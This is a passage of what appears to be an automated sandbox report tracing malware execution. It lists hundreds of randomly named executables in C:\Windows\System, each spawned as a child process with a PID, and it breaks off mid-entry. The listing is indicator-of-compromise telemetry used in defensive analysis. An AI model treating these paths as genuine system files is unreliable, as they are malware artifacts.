- C:\Windows\System\xhrPIcv.exe
  C:\Windows\System\xhrPIcv.exe
  2⤵
  PID:7444
- C:\Windows\System\PYTnESO.exe
  C:\Windows\System\PYTnESO.exe
  2⤵
  PID:7580
- C:\Windows\System\hdLqCFq.exe
  C:\Windows\System\hdLqCFq.exe
  2⤵
  PID:7856
- C:\Windows\System\cqisFPi.exe
  C:\Windows\System\cqisFPi.exe
  2⤵
  PID:1816
- C:\Windows\System\SoVXbKo.exe
  C:\Windows\System\SoVXbKo.exe
  2⤵
  PID:8152
- C:\Windows\System\WCrJTwX.exe
  C:\Windows\System\WCrJTwX.exe
  2⤵
  PID:7292
- C:\Windows\System\tpgNixn.exe
  C:\Windows\System\tpgNixn.exe
  2⤵
  PID:7516
- C:\Windows\System\wQcEfvo.exe
  C:\Windows\System\wQcEfvo.exe
  2⤵
  PID:7992
- C:\Windows\System\XItDnqZ.exe
  C:\Windows\System\XItDnqZ.exe
  2⤵
  PID:8088
- C:\Windows\System\PVRFQvV.exe
  C:\Windows\System\PVRFQvV.exe
  2⤵
  PID:7636
- C:\Windows\System\bfWLIKX.exe
  C:\Windows\System\bfWLIKX.exe
  2⤵
  PID:8196
- C:\Windows\System\NUShlZx.exe
  C:\Windows\System\NUShlZx.exe
  2⤵
  PID:8224
- C:\Windows\System\SYCUbWV.exe
  C:\Windows\System\SYCUbWV.exe
  2⤵
  PID:8244
- C:\Windows\System\lKEjbWf.exe
  C:\Windows\System\lKEjbWf.exe
  2⤵
  PID:8264
- C:\Windows\System\vHeoioH.exe
  C:\Windows\System\vHeoioH.exe
  2⤵
  PID:8292
- C:\Windows\System\efDpRvo.exe
  C:\Windows\System\efDpRvo.exe
  2⤵
  PID:8340
- C:\Windows\System\XKGKaNc.exe
  C:\Windows\System\XKGKaNc.exe
  2⤵
  PID:8364
- C:\Windows\System\AsyBgOO.exe
  C:\Windows\System\AsyBgOO.exe
  2⤵
  PID:8392
- C:\Windows\System\Mxhoukg.exe
  C:\Windows\System\Mxhoukg.exe
  2⤵
  PID:8412
- C:\Windows\System\LaVAMHW.exe
  C:\Windows\System\LaVAMHW.exe
  2⤵
  PID:8456
- C:\Windows\System\MZYCQsI.exe
  C:\Windows\System\MZYCQsI.exe
  2⤵
  PID:8480
- C:\Windows\System\xzTmvfz.exe
  C:\Windows\System\xzTmvfz.exe
  2⤵
  PID:8500
- C:\Windows\System\okahlFK.exe
  C:\Windows\System\okahlFK.exe
  2⤵
  PID:8520
- C:\Windows\System\gJOJkVR.exe
  C:\Windows\System\gJOJkVR.exe
  2⤵
  PID:8544
- C:\Windows\System\KMFrqDV.exe
  C:\Windows\System\KMFrqDV.exe
  2⤵
  PID:8564
- C:\Windows\System\HDAahvp.exe
  C:\Windows\System\HDAahvp.exe
  2⤵
  PID:8624
- C:\Windows\System\zVHAbaD.exe
  C:\Windows\System\zVHAbaD.exe
  2⤵
  PID:8648
- C:\Windows\System\LNaUWIX.exe
  C:\Windows\System\LNaUWIX.exe
  2⤵
  PID:8668
- C:\Windows\System\SmNocuP.exe
  C:\Windows\System\SmNocuP.exe
  2⤵
  PID:8688
- C:\Windows\System\ZsSrpfT.exe
  C:\Windows\System\ZsSrpfT.exe
  2⤵
  PID:8716
- C:\Windows\System\oHnxRMg.exe
  C:\Windows\System\oHnxRMg.exe
  2⤵
  PID:8732
- C:\Windows\System\eFNaZqS.exe
  C:\Windows\System\eFNaZqS.exe
  2⤵
  PID:8756
- C:\Windows\System\KUiJxnA.exe
  C:\Windows\System\KUiJxnA.exe
  2⤵
  PID:8776
- C:\Windows\System\xeRDPqS.exe
  C:\Windows\System\xeRDPqS.exe
  2⤵
  PID:8824
- C:\Windows\System\rScEegT.exe
  C:\Windows\System\rScEegT.exe
  2⤵
  PID:8840
- C:\Windows\System\PztlxMA.exe
  C:\Windows\System\PztlxMA.exe
  2⤵
  PID:8880
- C:\Windows\System\tJVSGtQ.exe
  C:\Windows\System\tJVSGtQ.exe
  2⤵
  PID:8916
- C:\Windows\System\oMxnZBO.exe
  C:\Windows\System\oMxnZBO.exe
  2⤵
  PID:8948
- C:\Windows\System\haDZZfw.exe
  C:\Windows\System\haDZZfw.exe
  2⤵
  PID:8968
- C:\Windows\System\KjeupFg.exe
  C:\Windows\System\KjeupFg.exe
  2⤵
  PID:8988
- C:\Windows\System\vVODsEj.exe
  C:\Windows\System\vVODsEj.exe
  2⤵
  PID:9008
- C:\Windows\System\RXbcLTX.exe
  C:\Windows\System\RXbcLTX.exe
  2⤵
  PID:9032
- C:\Windows\System\UUgbMDv.exe
  C:\Windows\System\UUgbMDv.exe
  2⤵
  PID:9056
- C:\Windows\System\WyVytND.exe
  C:\Windows\System\WyVytND.exe
  2⤵
  PID:9088
- C:\Windows\System\gTaHNXm.exe
  C:\Windows\System\gTaHNXm.exe
  2⤵
  PID:9108
- C:\Windows\System\LCGgADa.exe
  C:\Windows\System\LCGgADa.exe
  2⤵
  PID:9152
- C:\Windows\System\qgAZYCo.exe
  C:\Windows\System\qgAZYCo.exe
  2⤵
  PID:9184
- C:\Windows\System\nBjuewP.exe
  C:\Windows\System\nBjuewP.exe
  2⤵
  PID:4884
- C:\Windows\System\XdoMlDQ.exe
  C:\Windows\System\XdoMlDQ.exe
  2⤵
  PID:8256
- C:\Windows\System\MdJKFld.exe
  C:\Windows\System\MdJKFld.exe
  2⤵
  PID:8328
- C:\Windows\System\CbLWhAI.exe
  C:\Windows\System\CbLWhAI.exe
  2⤵
  PID:8404
- C:\Windows\System\CGtLwPU.exe
  C:\Windows\System\CGtLwPU.exe
  2⤵
  PID:8472
- C:\Windows\System\QIiERov.exe
  C:\Windows\System\QIiERov.exe
  2⤵
  PID:8556
- C:\Windows\System\rwaLWXr.exe
  C:\Windows\System\rwaLWXr.exe
  2⤵
  PID:8612
- C:\Windows\System\UsxBQNB.exe
  C:\Windows\System\UsxBQNB.exe
  2⤵
  PID:8684
- C:\Windows\System\RkCIcfF.exe
  C:\Windows\System\RkCIcfF.exe
  2⤵
  PID:8740
- C:\Windows\System\nPhQleZ.exe
  C:\Windows\System\nPhQleZ.exe
  2⤵
  PID:8768
- C:\Windows\System\hWjhkfs.exe
  C:\Windows\System\hWjhkfs.exe
  2⤵
  PID:8868
- C:\Windows\System\WHQVSUd.exe
  C:\Windows\System\WHQVSUd.exe
  2⤵
  PID:8960
- C:\Windows\System\auEbtuN.exe
  C:\Windows\System\auEbtuN.exe
  2⤵
  PID:8980
- C:\Windows\System\PnstSNl.exe
  C:\Windows\System\PnstSNl.exe
  2⤵
  PID:9040
- C:\Windows\System\lCSNHZG.exe
  C:\Windows\System\lCSNHZG.exe
  2⤵
  PID:9100
- C:\Windows\System\QymdwGo.exe
  C:\Windows\System\QymdwGo.exe
  2⤵
  PID:9160
- C:\Windows\System\hZGWwcw.exe
  C:\Windows\System\hZGWwcw.exe
  2⤵
  PID:9176
- C:\Windows\System\EDoduHJ.exe
  C:\Windows\System\EDoduHJ.exe
  2⤵
  PID:8236
- C:\Windows\System\rgiNeJq.exe
  C:\Windows\System\rgiNeJq.exe
  2⤵
  PID:8436
- C:\Windows\System\JtUnKtc.exe
  C:\Windows\System\JtUnKtc.exe
  2⤵
  PID:8532
- C:\Windows\System\Sqyyxua.exe
  C:\Windows\System\Sqyyxua.exe
  2⤵
  PID:8772
- C:\Windows\System\KknaAGW.exe
  C:\Windows\System\KknaAGW.exe
  2⤵
  PID:8864
- C:\Windows\System\HtDrClj.exe
  C:\Windows\System\HtDrClj.exe
  2⤵
  PID:9096
- C:\Windows\System\HublqWh.exe
  C:\Windows\System\HublqWh.exe
  2⤵
  PID:3856
- C:\Windows\System\xFDyHtH.exe
  C:\Windows\System\xFDyHtH.exe
  2⤵
  PID:8432
- C:\Windows\System\expUkHk.exe
  C:\Windows\System\expUkHk.exe
  2⤵
  PID:1892
- C:\Windows\System\QUGJzId.exe
  C:\Windows\System\QUGJzId.exe
  2⤵
  PID:9084
- C:\Windows\System\NEWxWmd.exe
  C:\Windows\System\NEWxWmd.exe
  2⤵
  PID:8832
- C:\Windows\System\uhFqNEO.exe
  C:\Windows\System\uhFqNEO.exe
  2⤵
  PID:9168
- C:\Windows\System\bImyVBB.exe
  C:\Windows\System\bImyVBB.exe
  2⤵
  PID:9248
- C:\Windows\System\AIlRcUD.exe
  C:\Windows\System\AIlRcUD.exe
  2⤵
  PID:9264
- C:\Windows\System\wBYgcWT.exe
  C:\Windows\System\wBYgcWT.exe
  2⤵
  PID:9296
- C:\Windows\System\IaFhyXw.exe
  C:\Windows\System\IaFhyXw.exe
  2⤵
  PID:9312
- C:\Windows\System\WVpYckZ.exe
  C:\Windows\System\WVpYckZ.exe
  2⤵
  PID:9344
- C:\Windows\System\tglyIMP.exe
  C:\Windows\System\tglyIMP.exe
  2⤵
  PID:9364
- C:\Windows\System\KNbiECj.exe
  C:\Windows\System\KNbiECj.exe
  2⤵
  PID:9396
- C:\Windows\System\PauxHBA.exe
  C:\Windows\System\PauxHBA.exe
  2⤵
  PID:9452
- C:\Windows\System\avnpnsk.exe
  C:\Windows\System\avnpnsk.exe
  2⤵
  PID:9480
- C:\Windows\System\VbkswXx.exe
  C:\Windows\System\VbkswXx.exe
  2⤵
  PID:9500
- C:\Windows\System\RcLegUP.exe
  C:\Windows\System\RcLegUP.exe
  2⤵
  PID:9520
- C:\Windows\System\IinIiVr.exe
  C:\Windows\System\IinIiVr.exe
  2⤵
  PID:9564
- C:\Windows\System\TumTKPu.exe
  C:\Windows\System\TumTKPu.exe
  2⤵
  PID:9584
- C:\Windows\System\pIDeOJG.exe
  C:\Windows\System\pIDeOJG.exe
  2⤵
  PID:9604
- C:\Windows\System\MywKVVL.exe
  C:\Windows\System\MywKVVL.exe
  2⤵
  PID:9632
- C:\Windows\System\yCiDRmF.exe
  C:\Windows\System\yCiDRmF.exe
  2⤵
  PID:9664
- C:\Windows\System\wAmSgOI.exe
  C:\Windows\System\wAmSgOI.exe
  2⤵
  PID:9708
- C:\Windows\System\wDGIyNu.exe
  C:\Windows\System\wDGIyNu.exe
  2⤵
  PID:9736
- C:\Windows\System\gmhEgYw.exe
  C:\Windows\System\gmhEgYw.exe
  2⤵
  PID:9764
- C:\Windows\System\lfsesyv.exe
  C:\Windows\System\lfsesyv.exe
  2⤵
  PID:9792
- C:\Windows\System\KguJAIy.exe
  C:\Windows\System\KguJAIy.exe
  2⤵
  PID:9812
- C:\Windows\System\ZCXpWWt.exe
  C:\Windows\System\ZCXpWWt.exe
  2⤵
  PID:9832
- C:\Windows\System\cUwbjTe.exe
  C:\Windows\System\cUwbjTe.exe
  2⤵
  PID:9876
- C:\Windows\System\MimjaPC.exe
  C:\Windows\System\MimjaPC.exe
  2⤵
  PID:9900
- C:\Windows\System\CLzgapc.exe
  C:\Windows\System\CLzgapc.exe
  2⤵
  PID:9932
- C:\Windows\System\YDtSMrA.exe
  C:\Windows\System\YDtSMrA.exe
  2⤵
  PID:9952
- C:\Windows\System\LkENtGJ.exe
  C:\Windows\System\LkENtGJ.exe
  2⤵
  PID:9972
- C:\Windows\System\XQsNhZO.exe
  C:\Windows\System\XQsNhZO.exe
  2⤵
  PID:10020
- C:\Windows\System\QmaxkSQ.exe
  C:\Windows\System\QmaxkSQ.exe
  2⤵
  PID:10044
- C:\Windows\System\XlJvEQo.exe
  C:\Windows\System\XlJvEQo.exe
  2⤵
  PID:10072
- C:\Windows\System\hIIdjvk.exe
  C:\Windows\System\hIIdjvk.exe
  2⤵
  PID:10092
- C:\Windows\System\glfRguI.exe
  C:\Windows\System\glfRguI.exe
  2⤵
  PID:10112
- C:\Windows\System\FEcOsId.exe
  C:\Windows\System\FEcOsId.exe
  2⤵
  PID:10152
- C:\Windows\System\bKiQnsx.exe
  C:\Windows\System\bKiQnsx.exe
  2⤵
  PID:10168
- C:\Windows\System\oFfQwfy.exe
  C:\Windows\System\oFfQwfy.exe
  2⤵
  PID:10192
- C:\Windows\System\LnhJBHU.exe
  C:\Windows\System\LnhJBHU.exe
  2⤵
  PID:10228
- C:\Windows\System\zyzXJkV.exe
  C:\Windows\System\zyzXJkV.exe
  2⤵
  PID:8388
- C:\Windows\System\FifYxUh.exe
  C:\Windows\System\FifYxUh.exe
  2⤵
  PID:9284
- C:\Windows\System\gIIuNww.exe
  C:\Windows\System\gIIuNww.exe
  2⤵
  PID:5088
- C:\Windows\System\BegQUFM.exe
  C:\Windows\System\BegQUFM.exe
  2⤵
  PID:9360
- C:\Windows\System\IoRSXcl.exe
  C:\Windows\System\IoRSXcl.exe
  2⤵
  PID:9472
- C:\Windows\System\ycwFTMf.exe
  C:\Windows\System\ycwFTMf.exe
  2⤵
  PID:9540
- C:\Windows\System\ZhQaAqd.exe
  C:\Windows\System\ZhQaAqd.exe
  2⤵
  PID:9596
- C:\Windows\System\lpqJHcr.exe
  C:\Windows\System\lpqJHcr.exe
  2⤵
  PID:9656
- C:\Windows\System\fYrZtqw.exe
  C:\Windows\System\fYrZtqw.exe
  2⤵
  PID:9716
- C:\Windows\System\RFKRQAL.exe
  C:\Windows\System\RFKRQAL.exe
  2⤵
  PID:9784
- C:\Windows\System\ZcCyszp.exe
  C:\Windows\System\ZcCyszp.exe
  2⤵
  PID:9828
- C:\Windows\System\dxHcpbg.exe
  C:\Windows\System\dxHcpbg.exe
  2⤵
  PID:9892
- C:\Windows\System\xlnoHhF.exe
  C:\Windows\System\xlnoHhF.exe
  2⤵
  PID:10032
- C:\Windows\System\oHlxlOB.exe
  C:\Windows\System\oHlxlOB.exe
  2⤵
  PID:10212
- C:\Windows\System\ePgqxiJ.exe
  C:\Windows\System\ePgqxiJ.exe
  2⤵
  PID:9308
- C:\Windows\System\zdZlCoT.exe
  C:\Windows\System\zdZlCoT.exe
  2⤵
  PID:9448
- C:\Windows\System\lLnaPzb.exe
  C:\Windows\System\lLnaPzb.exe
  2⤵
  PID:4452
- C:\Windows\System\LgfEeyA.exe
  C:\Windows\System\LgfEeyA.exe
  2⤵
  PID:3692
- C:\Windows\System\zpEYyCD.exe
  C:\Windows\System\zpEYyCD.exe
  2⤵
  PID:9572
- C:\Windows\System\tUgkCZO.exe
  C:\Windows\System\tUgkCZO.exe
  2⤵
  PID:9760
- C:\Windows\System\GtBDjRo.exe
  C:\Windows\System\GtBDjRo.exe
  2⤵
  PID:9780
- C:\Windows\System\GIIqADH.exe
  C:\Windows\System\GIIqADH.exe
  2⤵
  PID:10012
- C:\Windows\System\lIiKzKy.exe
  C:\Windows\System\lIiKzKy.exe
  2⤵
  PID:10080
- C:\Windows\System\WUrXofN.exe
  C:\Windows\System\WUrXofN.exe
  2⤵
  PID:10188
- C:\Windows\System\hxTyARn.exe
  C:\Windows\System\hxTyARn.exe
  2⤵
  PID:9532
- C:\Windows\System\gMsrvYE.exe
  C:\Windows\System\gMsrvYE.exe
  2⤵
  PID:9644
- C:\Windows\System\tULElvN.exe
  C:\Windows\System\tULElvN.exe
  2⤵
  PID:9944
- C:\Windows\System\lWKXlgk.exe
  C:\Windows\System\lWKXlgk.exe
  2⤵
  PID:10224
- C:\Windows\System\QSfSifT.exe
  C:\Windows\System\QSfSifT.exe
  2⤵
  PID:9992
- C:\Windows\System\txtbQof.exe
  C:\Windows\System\txtbQof.exe
  2⤵
  PID:10248
- C:\Windows\System\Ysjugza.exe
  C:\Windows\System\Ysjugza.exe
  2⤵
  PID:10280
- C:\Windows\System\dOHKUtr.exe
  C:\Windows\System\dOHKUtr.exe
  2⤵
  PID:10308
- C:\Windows\System\iIjRdsf.exe
  C:\Windows\System\iIjRdsf.exe
  2⤵
  PID:10328
- C:\Windows\System\yKuCxVG.exe
  C:\Windows\System\yKuCxVG.exe
  2⤵
  PID:10376
- C:\Windows\System\MsDFphv.exe
  C:\Windows\System\MsDFphv.exe
  2⤵
  PID:10392
- C:\Windows\System\MqiKqkq.exe
  C:\Windows\System\MqiKqkq.exe
  2⤵
  PID:10412
- C:\Windows\System\HLTfpgz.exe
  C:\Windows\System\HLTfpgz.exe
  2⤵
  PID:10452
- C:\Windows\System\rPkStdn.exe
  C:\Windows\System\rPkStdn.exe
  2⤵
  PID:10476
- C:\Windows\System\JaEBgeT.exe
  C:\Windows\System\JaEBgeT.exe
  2⤵
  PID:10504
- C:\Windows\System\rPaCXQE.exe
  C:\Windows\System\rPaCXQE.exe
  2⤵
  PID:10532
- C:\Windows\System\pOWEhwL.exe
  C:\Windows\System\pOWEhwL.exe
  2⤵
  PID:10560
- C:\Windows\System\TGWdZNe.exe
  C:\Windows\System\TGWdZNe.exe
  2⤵
  PID:10584
- C:\Windows\System\qrnDGhp.exe
  C:\Windows\System\qrnDGhp.exe
  2⤵
  PID:10608
- C:\Windows\System\yOQSnRb.exe
  C:\Windows\System\yOQSnRb.exe
  2⤵
  PID:10624
- C:\Windows\System\KPTaKgH.exe
  C:\Windows\System\KPTaKgH.exe
  2⤵
  PID:10656
- C:\Windows\System\hesnadR.exe
  C:\Windows\System\hesnadR.exe
  2⤵
  PID:10700
- C:\Windows\System\kWnYXQz.exe
  C:\Windows\System\kWnYXQz.exe
  2⤵
  PID:10728
- C:\Windows\System\thvglWM.exe
  C:\Windows\System\thvglWM.exe
  2⤵
  PID:10748
- C:\Windows\System\QqMATaV.exe
  C:\Windows\System\QqMATaV.exe
  2⤵
  PID:10788
- C:\Windows\System\dPBOKJH.exe
  C:\Windows\System\dPBOKJH.exe
  2⤵
  PID:10812
- C:\Windows\System\uZvthWN.exe
  C:\Windows\System\uZvthWN.exe
  2⤵
  PID:10832
- C:\Windows\System\mQJZqHo.exe
  C:\Windows\System\mQJZqHo.exe
  2⤵
  PID:10848
- C:\Windows\System\MLtHcDa.exe
  C:\Windows\System\MLtHcDa.exe
  2⤵
  PID:10868
- C:\Windows\System\qxYQumz.exe
  C:\Windows\System\qxYQumz.exe
  2⤵
  PID:10888
- C:\Windows\System\tnZMbDR.exe
  C:\Windows\System\tnZMbDR.exe
  2⤵
  PID:10908
- C:\Windows\System\wTOTLcI.exe
  C:\Windows\System\wTOTLcI.exe
  2⤵
  PID:10932
- C:\Windows\System\iBKHwsF.exe
  C:\Windows\System\iBKHwsF.exe
  2⤵
  PID:10984
- C:\Windows\System\lkwAPzs.exe
  C:\Windows\System\lkwAPzs.exe
  2⤵
  PID:11004
- C:\Windows\System\XwPEppi.exe
  C:\Windows\System\XwPEppi.exe
  2⤵
  PID:11032
- C:\Windows\System\onrQKVG.exe
  C:\Windows\System\onrQKVG.exe
  2⤵
  PID:11060
- C:\Windows\System\RmIfycD.exe
  C:\Windows\System\RmIfycD.exe
  2⤵
  PID:11092
- C:\Windows\System\FIpElOu.exe
  C:\Windows\System\FIpElOu.exe
  2⤵
  PID:11136
- C:\Windows\System\SPyxLIO.exe
  C:\Windows\System\SPyxLIO.exe
  2⤵
  PID:11160
- C:\Windows\System\GNXtOJE.exe
  C:\Windows\System\GNXtOJE.exe
  2⤵
  PID:11180
- C:\Windows\System\QmhCkHb.exe
  C:\Windows\System\QmhCkHb.exe
  2⤵
  PID:11216
- C:\Windows\System\ltOkvXI.exe
  C:\Windows\System\ltOkvXI.exe
  2⤵
  PID:11252
- C:\Windows\System\bFMvMel.exe
  C:\Windows\System\bFMvMel.exe
  2⤵
  PID:9004
- C:\Windows\System\ZdZFLtp.exe
  C:\Windows\System\ZdZFLtp.exe
  2⤵
  PID:10316
- C:\Windows\System\nagnfPZ.exe
  C:\Windows\System\nagnfPZ.exe
  2⤵
  PID:10360
- C:\Windows\System\fwZnkKn.exe
  C:\Windows\System\fwZnkKn.exe
  2⤵
  PID:10484
- C:\Windows\System\aHgrJSo.exe
  C:\Windows\System\aHgrJSo.exe
  2⤵
  PID:10524
- C:\Windows\System\gjGwdJv.exe
  C:\Windows\System\gjGwdJv.exe
  2⤵
  PID:10600
- C:\Windows\System\EAQdAYr.exe
  C:\Windows\System\EAQdAYr.exe
  2⤵
  PID:10616
- C:\Windows\System\liJzZIg.exe
  C:\Windows\System\liJzZIg.exe
  2⤵
  PID:10716
- C:\Windows\System\WIzcREY.exe
  C:\Windows\System\WIzcREY.exe
  2⤵
  PID:10768
- C:\Windows\System\OakNNMX.exe
  C:\Windows\System\OakNNMX.exe
  2⤵
  PID:10844
- C:\Windows\System\mhqtJRs.exe
  C:\Windows\System\mhqtJRs.exe
  2⤵
  PID:10840
- C:\Windows\System\GwypPNo.exe
  C:\Windows\System\GwypPNo.exe
  2⤵
  PID:10928
- C:\Windows\System\IxPmgSp.exe
  C:\Windows\System\IxPmgSp.exe
  2⤵
  PID:11028
- C:\Windows\System\UaVqlPF.exe
  C:\Windows\System\UaVqlPF.exe
  2⤵
  PID:11108
- C:\Windows\System\rHRAorq.exe
  C:\Windows\System\rHRAorq.exe
  2⤵
  PID:11152
- C:\Windows\System\viwKrfh.exe
  C:\Windows\System\viwKrfh.exe
  2⤵
  PID:11204
- C:\Windows\System\avSMtkb.exe
  C:\Windows\System\avSMtkb.exe
  2⤵
  PID:11240
- C:\Windows\System\uOtSmGq.exe
  C:\Windows\System\uOtSmGq.exe
  2⤵
  PID:9756
- C:\Windows\System\JfsGMXI.exe
  C:\Windows\System\JfsGMXI.exe
  2⤵
  PID:10384
- C:\Windows\System\fChtBSg.exe
  C:\Windows\System\fChtBSg.exe
  2⤵
  PID:10596
- C:\Windows\System\Ofuedtm.exe
  C:\Windows\System\Ofuedtm.exe
  2⤵
  PID:10800
- C:\Windows\System\ajsWKAu.exe
  C:\Windows\System\ajsWKAu.exe
  2⤵
  PID:10876
- C:\Windows\System\vcHoIsT.exe
  C:\Windows\System\vcHoIsT.exe
  2⤵
  PID:11148
- C:\Windows\System\vBfYxnt.exe
  C:\Windows\System\vBfYxnt.exe
  2⤵
  PID:11228
- C:\Windows\System\vzwSDJN.exe
  C:\Windows\System\vzwSDJN.exe
  2⤵
  PID:10568
- C:\Windows\System\lNKMxqe.exe
  C:\Windows\System\lNKMxqe.exe
  2⤵
  PID:10640
- C:\Windows\System\cYVdMJs.exe
  C:\Windows\System\cYVdMJs.exe
  2⤵
  PID:10904
- C:\Windows\System\cJPhIAH.exe
  C:\Windows\System\cJPhIAH.exe
  2⤵
  PID:11176
- C:\Windows\System\PlHaxjM.exe
  C:\Windows\System\PlHaxjM.exe
  2⤵
  PID:10512
- C:\Windows\System\SPmKXHU.exe
  C:\Windows\System\SPmKXHU.exe
  2⤵
  PID:11292
- C:\Windows\System\MVIDOtN.exe
  C:\Windows\System\MVIDOtN.exe
  2⤵
  PID:11324
- C:\Windows\System\vWPrPej.exe
  C:\Windows\System\vWPrPej.exe
  2⤵
  PID:11352
- C:\Windows\System\tiSQOWk.exe
  C:\Windows\System\tiSQOWk.exe
  2⤵
  PID:11368
- C:\Windows\System\XtMfRIt.exe
  C:\Windows\System\XtMfRIt.exe
  2⤵
  PID:11396
- C:\Windows\System\ETjiAaF.exe
  C:\Windows\System\ETjiAaF.exe
  2⤵
  PID:11412
- C:\Windows\System\yCeACPK.exe
  C:\Windows\System\yCeACPK.exe
  2⤵
  PID:11444
- C:\Windows\System\igPSiLp.exe
  C:\Windows\System\igPSiLp.exe
  2⤵
  PID:11492
- C:\Windows\System\HWgnNzb.exe
  C:\Windows\System\HWgnNzb.exe
  2⤵
  PID:11512
- C:\Windows\System\dmAFAXF.exe
  C:\Windows\System\dmAFAXF.exe
  2⤵
  PID:11544
- C:\Windows\System\xGyuBJF.exe
  C:\Windows\System\xGyuBJF.exe
  2⤵
  PID:11560
- C:\Windows\System\mflFnGD.exe
  C:\Windows\System\mflFnGD.exe
  2⤵
  PID:11596
- C:\Windows\System\TisVgIu.exe
  C:\Windows\System\TisVgIu.exe
  2⤵
  PID:11652
- C:\Windows\System\Hflgxlo.exe
  C:\Windows\System\Hflgxlo.exe
  2⤵
  PID:11668
- C:\Windows\System\LkhRqKQ.exe
  C:\Windows\System\LkhRqKQ.exe
  2⤵
  PID:11692
- C:\Windows\System\kGqHpjA.exe
  C:\Windows\System\kGqHpjA.exe
  2⤵
  PID:11724
- C:\Windows\System\MsjMHkr.exe
  C:\Windows\System\MsjMHkr.exe
  2⤵
  PID:11756
- C:\Windows\System\LDasmmQ.exe
  C:\Windows\System\LDasmmQ.exe
  2⤵
  PID:11780
- C:\Windows\System\JOhdsHf.exe
  C:\Windows\System\JOhdsHf.exe
  2⤵
  PID:11800
- C:\Windows\System\WoAgyTN.exe
  C:\Windows\System\WoAgyTN.exe
  2⤵
  PID:11820
- C:\Windows\System\dirHCAj.exe
  C:\Windows\System\dirHCAj.exe
  2⤵
  PID:11844
- C:\Windows\System\xQUBHMU.exe
  C:\Windows\System\xQUBHMU.exe
  2⤵
  PID:11872
- C:\Windows\System\qLSTnRS.exe
  C:\Windows\System\qLSTnRS.exe
  2⤵
  PID:11916
- C:\Windows\System\OCUQqsU.exe
  C:\Windows\System\OCUQqsU.exe
  2⤵
  PID:11968
- C:\Windows\System\QnxTyqI.exe
  C:\Windows\System\QnxTyqI.exe
  2⤵
  PID:11988
- C:\Windows\System\zckBUYT.exe
  C:\Windows\System\zckBUYT.exe
  2⤵
  PID:12016
- C:\Windows\System\rTrrwGa.exe
  C:\Windows\System\rTrrwGa.exe
  2⤵
  PID:12036
- C:\Windows\System\MGRambI.exe
  C:\Windows\System\MGRambI.exe
  2⤵
  PID:12056
- C:\Windows\System\xUyLrhU.exe
  C:\Windows\System\xUyLrhU.exe
  2⤵
  PID:12084
- C:\Windows\System\dNUPQbr.exe
  C:\Windows\System\dNUPQbr.exe
  2⤵
  PID:12112
- C:\Windows\System\taihGSj.exe
  C:\Windows\System\taihGSj.exe
  2⤵
  PID:12140
- C:\Windows\System\LKuofvB.exe
  C:\Windows\System\LKuofvB.exe
  2⤵
  PID:12160
- C:\Windows\System\ZlbscrC.exe
  C:\Windows\System\ZlbscrC.exe
  2⤵
  PID:12184
- C:\Windows\System\jpgWKaJ.exe
  C:\Windows\System\jpgWKaJ.exe
  2⤵
  PID:12224
- C:\Windows\System\GhZSGJB.exe
  C:\Windows\System\GhZSGJB.exe
  2⤵
  PID:12252
- C:\Windows\System\loqALBe.exe
  C:\Windows\System\loqALBe.exe
  2⤵
  PID:11080
- C:\Windows\System\rcVrupK.exe
  C:\Windows\System\rcVrupK.exe
  2⤵
  PID:1192
- C:\Windows\System\KdBFxtU.exe
  C:\Windows\System\KdBFxtU.exe
  2⤵
  PID:11300
- C:\Windows\System\dilRcxY.exe
  C:\Windows\System\dilRcxY.exe
  2⤵
  PID:11348
- C:\Windows\System\WOwJMAJ.exe
  C:\Windows\System\WOwJMAJ.exe
  2⤵
  PID:11432
- C:\Windows\System\vybVfxF.exe
  C:\Windows\System\vybVfxF.exe
  2⤵
  PID:11504
- C:\Windows\System\DwMGbLA.exe
  C:\Windows\System\DwMGbLA.exe
  2⤵
  PID:11624
- C:\Windows\System\gIByUEo.exe
  C:\Windows\System\gIByUEo.exe
  2⤵
  PID:11680
- C:\Windows\System\xomOFRd.exe
  C:\Windows\System\xomOFRd.exe
  2⤵
  PID:11744
- C:\Windows\System\lTgWIWe.exe
  C:\Windows\System\lTgWIWe.exe
  2⤵
  PID:11868
- C:\Windows\System\DFScRwJ.exe
  C:\Windows\System\DFScRwJ.exe
  2⤵
  PID:11948
- C:\Windows\System\tfGBtoA.exe
  C:\Windows\System\tfGBtoA.exe
  2⤵
  PID:11984
- C:\Windows\System\RZyPUgE.exe
  C:\Windows\System\RZyPUgE.exe
  2⤵
  PID:12032
- C:\Windows\System\dExxWlt.exe
  C:\Windows\System\dExxWlt.exe
  2⤵
  PID:12152
- C:\Windows\System\AiaRhJK.exe
  C:\Windows\System\AiaRhJK.exe
  2⤵
  PID:12128
- C:\Windows\System\qNNiWiR.exe
  C:\Windows\System\qNNiWiR.exe
  2⤵
  PID:12196
- C:\Windows\System\CpjZIjP.exe
  C:\Windows\System\CpjZIjP.exe
  2⤵
  PID:12264
- C:\Windows\System\sPkYVLM.exe
  C:\Windows\System\sPkYVLM.exe
  2⤵
  PID:10864
- C:\Windows\System\DPLriQa.exe
  C:\Windows\System\DPLriQa.exe
  2⤵
  PID:11312
- C:\Windows\System\KzUwXfJ.exe
  C:\Windows\System\KzUwXfJ.exe
  2⤵
  PID:11648
- C:\Windows\System\vYTsWgo.exe
  C:\Windows\System\vYTsWgo.exe
  2⤵
  PID:11896
- C:\Windows\System\ePtGCbF.exe
  C:\Windows\System\ePtGCbF.exe
  2⤵
  PID:12052
- C:\Windows\System\WOqeAgb.exe
  C:\Windows\System\WOqeAgb.exe
  2⤵
  PID:12148
- C:\Windows\System\TPfWEBA.exe
  C:\Windows\System\TPfWEBA.exe
  2⤵
  PID:12220
- C:\Windows\System\WZaFcYF.exe
  C:\Windows\System\WZaFcYF.exe
  2⤵
  PID:10448
- C:\Windows\System\vQcpsoY.exe
  C:\Windows\System\vQcpsoY.exe
  2⤵
  PID:11812
- C:\Windows\System\kozNntw.exe
  C:\Windows\System\kozNntw.exe
  2⤵
  PID:12068
- C:\Windows\System\gATbEyE.exe
  C:\Windows\System\gATbEyE.exe
  2⤵
  PID:11944
- C:\Windows\System\XDgAEOo.exe
  C:\Windows\System\XDgAEOo.exe
  2⤵
  PID:12296
- C:\Windows\System\rSVQgcU.exe
  C:\Windows\System\rSVQgcU.exe
  2⤵
  PID:12324
- C:\Windows\System\EKLECng.exe
  C:\Windows\System\EKLECng.exe
  2⤵
  PID:12364
- C:\Windows\System\nSBistE.exe
  C:\Windows\System\nSBistE.exe
  2⤵
  PID:12388
- C:\Windows\System\LEDXPfh.exe
  C:\Windows\System\LEDXPfh.exe
  2⤵
  PID:12412
- C:\Windows\System\syhowto.exe
  C:\Windows\System\syhowto.exe
  2⤵
  PID:12432
- C:\Windows\System\dtjwgIp.exe
